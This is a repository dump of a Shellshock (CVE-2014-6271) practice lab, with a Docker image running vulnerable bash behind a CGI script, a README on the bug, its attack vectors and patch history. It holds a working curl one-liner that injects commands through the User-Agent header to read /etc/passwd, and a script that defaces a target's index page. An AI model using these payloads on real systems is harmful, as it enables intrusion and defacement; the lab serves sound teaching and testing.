├── .gitlab-ci.yml ├── Dockerfile ├── LICENSE ├── README.md ├── defaced.png ├── exploit-deface.sh ├── index.html ├── main.sh ├── packages └── bash_4.2%2Bdfsg-0.1_amd64.deb ├── print.png ├── shellshock.png └── vulnerable /.gitlab-ci.yml: -------------------------------------------------------------------------------- 1 | variables: 2 | PUBLIC_TAG: 'vulnerables/cve-2014-6271' 3 | stages: 4 | - build 5 | 6 | build: 7 | stage: build 8 | script: 9 | - export IMAGE_TAG=$(echo -en $CI_BUILD_REF_NAME | tr -c '[:alnum:]_.-' '-' | sed 's/master/latest/g') 10 | - docker login -u "gitlab-ci-token" -p "$CI_BUILD_TOKEN" $CI_REGISTRY 11 | - docker build --pull -t "$CI_REGISTRY_IMAGE:$IMAGE_TAG" . 12 | - docker push "$CI_REGISTRY_IMAGE:$IMAGE_TAG" 13 | - docker tag "$CI_REGISTRY_IMAGE:$IMAGE_TAG" "$PUBLIC_TAG" 14 | tags: 15 | - docker 16 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM debian:wheezy 2 | 3 | LABEL maintainer "opsxcq@strm.sh" 4 | 5 | RUN apt-get update && \ 6 | apt-get upgrade -y && \ 7 | DEBIAN_FRONTEND=noninteractive apt-get install -y \ 8 | apache2 && \ 9 | apt-get clean && \ 10 | rm -rf /var/lib/apt/lists/* 11 | 12 | COPY packages /packages 13 | 14 | RUN dpkg -i /packages/* 15 | 16 | COPY vulnerable /usr/lib/cgi-bin/ 17 | COPY index.html /var/www 18 | 19 | RUN chown www-data:www-data /var/www/index.html 20 | 21 | EXPOSE 80 22 | 23 | COPY main.sh / 24 | 25 | ENTRYPOINT ["/main.sh"] 26 | CMD ["default"] 27 | 28 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. 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It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![Logo](/shellshock.png) 2 | # Shellshock exploit + vulnerable environment 3 | [![Docker Pulls](https://img.shields.io/docker/pulls/vulnerables/cve-2014-6271.svg?style=plastic)](https://hub.docker.com/r/vulnerables/cve-2014-6271/) 4 | 5 | Shellshock, also known as Bashdoor, is a family of security bugs in the widely used Unix Bash shell, the first of which was disclosed on 24 September 2014. Many Internet-facing services, such as some web server deployments, use Bash to process certain requests, allowing an attacker to cause vulnerable versions of Bash to execute arbitrary commands. This can allow an attacker to gain unauthorized access to a computer system. 6 | 7 | ## Run a vulnerable environment 8 | 9 | You will need docker installed to run the environment, go to [docker.com](https://docker.com) and install it if you don't have it yet. 10 | 11 | To start the vulnerable environment just run 12 | 13 | docker run --rm -it -p 8080:80 vulnerables/cve-2014-6271 14 | 15 | Open your browser and go to ```localhost:8080```, if everything is OK you will see a page like this 16 | 17 | ![vulnerable](/print.png) 18 | 19 | ## Exploit 20 | 21 | There are several ways to exploit this flaw 22 | 23 | ### Exploit it with one liner 24 | 25 | An simple example to ```cat /etc/passwd``` 26 | 27 | curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" \ 28 | http://localhost:8080/cgi-bin/vulnerable 29 | 30 | You can use it to run any command that you want 31 | 32 | ### Exploit for defacement 33 | 34 | This is just a sample code in exploit-deface.sh, just run it against the image 35 | 36 | ./exploit-deface.sh 37 | 38 | For example if you are running it with the command provided above 39 | 40 | ./exploit-deface.sh localhost 8080 41 | 42 | Just refresh your browser and you will see 43 | 44 | ![Deface](/defaced.png) 45 | 46 | ## Test your system 47 | 48 | Just run this bash script in your system and you will see if you are vulnerable or not: 49 | 50 | env 'VAR=() { :;}; echo Bash is vulnerable!' 'FUNCTION()=() { :;}; echo Bash is vulnerable!' bash -c "echo Bash Test" 51 | 52 | ## Exploitation Vectors 53 | 54 | ### CGI-based web server 55 | 56 | When a web server uses the Common Gateway Interface (CGI) to handle a document request, it passes various details of the request to a handler program in the environment variable list. For example, the variable HTTP_USER_AGENT has a value that, in normal usage, identifies the program sending the request. If the request handler is a Bash script, or if it executes one for example using the system(3) call, Bash will receive the environment variables passed by the server and will process them as described above. This provides a means for an attacker to trigger the Shellshock vulnerability with a specially crafted server request. 57 | Security documentation for the widely used Apache web server states: "CGI scripts can ... be extremely dangerous if they are not carefully checked." and other methods of handling web server requests are often used. There are a number of online services which attempt to test the vulnerability against web servers exposed to the Internet. 58 | 59 | ### OpenSSH server 60 | 61 | OpenSSH has a "ForceCommand" feature, where a fixed command is executed when the user logs in, instead of just running an unrestricted command shell. The fixed command is executed even if the user specified that another command should be run; in that case the original command is put into the environment variable "SSH_ORIGINAL_COMMAND". When the forced command is run in a Bash shell (if the user's shell is set to Bash), the Bash shell will parse the SSH_ORIGINAL_COMMAND environment variable on start-up, and run the commands embedded in it. The user has used their restricted shell access to gain unrestricted shell access, using the Shellshock bug. 62 | 63 | ### DHCP clients 64 | 65 | Some DHCP clients can also pass commands to Bash; a vulnerable system could be attacked when connecting to an open Wi-Fi network. A DHCP client typically requests and gets an IP address from a DHCP server, but it can also be provided a series of additional options. A malicious DHCP server could provide, in one of these options, a string crafted to execute code on a vulnerable workstation or laptop. 66 | 67 | ### Qmail server 68 | 69 | When using Bash to process email messages (e.g. through .forward or qmail-alias piping), the qmail mail server passes external input through in a way that can exploit a vulnerable version of Bash. 70 | 71 | ### IBM HMC restricted shell 72 | 73 | The bug can be exploited to gain access to Bash from the restricted shell of the IBM Hardware Management Console, a tiny Linux variant for system administrators. IBM released a patch to resolve this. 74 | 75 | ## Fix 76 | 77 | iUntil 24 September 2014, Bash maintainer Chet Ramey provided a patch version bash43-025 of Bash 4.3 addressing CVE-2014-6271, which was already packaged by distribution maintainers. On 24 September, bash43-026 followed, addressing CVE-2014-7169. Then CVE-2014-7186 was discovered. Florian Weimer from Red Hat posted some patch code for this "unofficially" on 25 September, which Ramey incorporated into Bash as bash43-027. These patches provided code only, helpful only for those who know how to compile ("rebuild") a new Bash binary executable file from the patch file and remaining source code files. 78 | 79 | The next day, Red Hat officially presented according updates for Red Hat Enterprise Linux, after another day for Fedora 21. Canonical Ltd. presented updates for its Ubuntu Long Term Support versions on Saturday, 27 September; on Sunday, there were updates for SUSE Linux Enterprise. he following Monday and Tuesday at the end of the month, Apple OS X updates appeared. 80 | 81 | On 1 October 2014, Michał Zalewski from Google Inc. finally stated that Weimer's code and bash43-027 had fixed not only the first three bugs but even the remaining three that were published after bash43-027, including his own two discoveries.This means that after the earlier distribution updates, no other updates have been required to cover all the six issues. 82 | 83 | ### Disclaimer 84 | 85 | This or previous program is for Educational purpose ONLY. Do not use it without permission. The usual disclaimer applies, especially the fact that me (opsxcq) is not liable for any damages caused by direct or indirect use of the information or functionality provided by these programs. The author or any Internet provider bears NO responsibility for content or misuse of these programs or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss, system crash, system compromise, etc.) caused by the use of these programs is not opsxcq's responsibility. 86 | -------------------------------------------------------------------------------- /defaced.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opsxcq/exploit-CVE-2014-6271/ad3a5f02bd0f299c156298a00bb3306f1dbb40e2/defaced.png -------------------------------------------------------------------------------- /exploit-deface.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if [ -z "$1" ] 4 | then 5 | echo 'Please inform the IP and PORT of the target' 6 | echo 'Example: ./exploit-deface.sh ' 7 | return -1 8 | fi 9 | 10 | if [ -z "$1" ] 11 | then 12 | echo 'Please inform the IP and PORT of the target' 13 | echo 'Example: ./exploit-deface.sh ' 14 | return -1 15 | fi 16 | 17 | ip=$1 18 | port=$2 19 | 20 | echo '[+] Sending the exploit' 21 | curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'echo \"

DEFACED

\" > /var/www/index.html'" http://$ip:$port/cgi-bin/vulnerable && \ 22 | echo '[+] Target exploited, testing if defacement page is deployed' && \ 23 | curl http://$ip:$port 24 | echo '[+] Done' 25 | -------------------------------------------------------------------------------- /index.html: -------------------------------------------------------------------------------- 1 | 2 | Vulnerables | ShellShock 3 | 4 |

This image is vulnerable to ShellShock, please exploit it

5 | 
The script is at /cgi-bin/vulnerable
6 | 7 | 8 | -------------------------------------------------------------------------------- /main.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | /usr/sbin/apache2ctl -DFOREGROUND 4 | 5 | 6 | -------------------------------------------------------------------------------- /packages/bash_4.2%2Bdfsg-0.1_amd64.deb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opsxcq/exploit-CVE-2014-6271/ad3a5f02bd0f299c156298a00bb3306f1dbb40e2/packages/bash_4.2%2Bdfsg-0.1_amd64.deb -------------------------------------------------------------------------------- /print.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opsxcq/exploit-CVE-2014-6271/ad3a5f02bd0f299c156298a00bb3306f1dbb40e2/print.png -------------------------------------------------------------------------------- /shellshock.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opsxcq/exploit-CVE-2014-6271/ad3a5f02bd0f299c156298a00bb3306f1dbb40e2/shellshock.png -------------------------------------------------------------------------------- /vulnerable: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | echo "Content-type: text/html"; 4 | echo "" 5 | 6 | uptime 7 | 8 | 9 | --------------------------------------------------------------------------------